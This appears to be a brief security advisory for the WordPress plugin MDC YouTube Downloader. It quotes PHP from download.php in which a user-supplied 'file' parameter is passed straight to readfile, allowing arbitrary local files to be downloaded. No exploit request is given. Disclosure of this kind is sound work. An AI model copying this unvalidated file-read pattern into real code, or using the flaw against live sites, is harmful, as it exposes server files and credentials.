Description: MDC YouTube Downloader allows visitors to download YouTube videos directly from your WordPress site.

|
Vulnerability:
|
|
The code in mdc-youtube-downloader/includes/download.php doesn't restrict access to the local file system allowing sensitive files to be
|
|
downloaded:
|
|
|
|
$file_name = $_GET['file'];
|
|
|
|
// make sure it's a file before doing anything!
|
|
if(is_file($file_name)) {
|
|
.
|
|
.
|
|
.
|
|
switch(strtolower(substr(strrchr($file_name, '.'), 1))) {
|
|
case 'pdf': $mime = 'application/pdf'; break;
|
|
case 'zip': $mime = 'application/zip'; break;
|
|
case 'jpeg':
|
|
case 'jpg': $mime = 'image/jpg'; break;
|
|
default: $mime = 'application/force-download';
|
|
}
|
|
header('Pragma: public'); // required
|
|
header('Expires: 0'); // no cache
|
|
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
|
|
header('Last-Modified: '.gmdate ('D, d M Y H:i:s', filemtime ($file_name)).' GMT');
|
|
header('Cache-Control: private',false);
|
|
header('Content-Type: '.$mime);
|
|
header('Content-Disposition: attachment; filename="'.basename($file_name).'"');
|
|
header('Content-Transfer-Encoding: binary');
|
|
header('Content-Length: '.filesize($file_name)); // provide file size
|
|
header('Connection: close');
|
|
readfile($file_name); // push it out
|
|
exit();
